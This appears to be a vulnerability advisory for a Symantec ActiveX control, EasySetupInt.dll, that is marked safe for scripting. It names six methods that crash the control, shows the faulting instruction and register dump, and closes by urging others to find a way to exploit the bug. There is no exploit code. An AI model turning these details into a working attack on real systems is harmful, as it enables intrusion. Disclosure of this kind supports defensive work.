 File:      EasySetupInt.dll
 Ver.:      14.0.4.30167
 ProgID:    Symantec.EasySetup.1
 Descr.:    CEasySetup Object - Support module for EasySetup wizard
 
 Marked as: RegKey Safe for Script: True
            RegKey Safe for Init: True
            Implements IObjectSafety: False
            KillBitSet: False

 Bug info:  This component contains methods which lead into a denial of
            service.
            This is the list of components:

            "GetBackupLocationPath"
            "CallUninstall"
            "SetupDeleteVolume"
            "CanUseEasySetup"
            "CallAddInitialProtection"
            "CallTour"

            Crash happens here:

            03A6B9D6   8B10             MOV EDX,DWORD PTR DS:[EAX]

            And registers risuation is:
           
            EAX 00000000
            ECX 774F9997 ole32.774F9997
            EDX 019DCB04
            EBX 00000000
            ESP 019DCAE4
            EBP 019DCB9C
            ESI 019DCCB8
            EDI 00000001
            EIP 03A6B9D6 EasySetu.03A6B9D6

            Unfortunately the vulnerability seems to be unexploitable, anyway
            I've found a way to execute arbitrary code but it's useless 
            because requires a high level of user interaction to work.
            That's why it will remain private.
            I hope that someone else will be able to exploit this vuln
            using more convenient ways.

            Peace
